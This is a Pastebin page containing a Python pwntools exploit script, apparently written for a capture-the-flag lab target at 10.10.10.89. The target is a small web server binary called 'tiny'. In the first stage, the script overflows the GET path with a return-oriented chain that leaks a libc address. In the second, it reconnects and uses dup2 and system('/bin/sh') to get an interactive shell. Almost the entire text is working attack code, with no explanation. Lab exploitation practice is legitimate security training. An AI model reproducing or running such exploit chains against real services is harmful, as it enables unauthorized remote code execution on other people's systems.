Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- from pwn import *
- HOST = "10.10.10.89"
- PORT = "1111"
- r = remote(HOST, PORT)
- #context.log_level = 'DEBUG'
- elf = ELF('/root/Desktop/smasherleak/tiny')
- libc = ELF('/root/Desktop/smasherleak/libc.so.6')
- log.info("Deploying stage 1 (Leak)...")
- junk = "A" * 568
- leak = flat(
- 0x4011dd, # 0x00000000004011dd : pop rdi ; ret
- 0x4, # fd
- 0x4011db, # 0x00000000004011db : pop rsi ; pop r15 ; ret
- elf.got['getpid'],
- "AAAAAAAA",
- elf.sym['write'],
- endianness = 'little', word_size = 64, sign = False)
- payload = 'GET ' + junk + urlencode(leak) + '\r\n\r\n'
- r.send(payload)
- r.recvuntil("File not found")
- leaked_getpid = u64(r.recv()[:8])
- log.success("Leaked getpid@@GLIBC libc address: " + str(hex(leaked_getpid)))
- libc.address = leaked_getpid - libc.sym['getpid']
- log.success("Base libc address: " + str(hex(libc.address)))
- log.success("Dup2@@GLIBC address: " + str(hex(libc.sym['dup2'])))
- log.success("System@@GLIBC address: " + str(hex(libc.sym['system'])))
- log.success("/bin/sh address: " + str(hex(libc.search('/bin/sh').next())))
- log.info("Restarting socket...")
- r.close()
- r = remote(HOST, PORT)
- log.success("Socket restarted successfully.")
- log.info("Deploying stage 2 (Shell)...")
- shell = flat (
- 0x4011dd, # 0x00000000004011dd : pop rdi ; ret
- 0x4, # oldfd
- 0x4011db, # 0x00000000004011db : pop rsi ; pop r15 ; ret
- 0x0, # newfd
- "AAAAAAAA",
- libc.sym['dup2'],
- 0x4011dd, # 0x00000000004011dd : pop rdi ; ret
- 0x4, # oldfd
- 0x4011db, # 0x00000000004011db : pop rsi ; pop r15 ; ret
- 0x1, # newfd
- "AAAAAAAA",
- libc.sym['dup2'],
- 0x4011dd, # 0x00000000004011dd : pop rdi ; ret
- libc.search('/bin/sh').next(),
- libc.sym['system'],
- endianness = 'little', word_size = 64, sign = False)
- payload = 'GET ' + junk + urlencode(shell) + '\r\n\r\n'
- r.send(payload)
- r.interactive()
Advertisement
Add Comment
Please, Sign In to add comment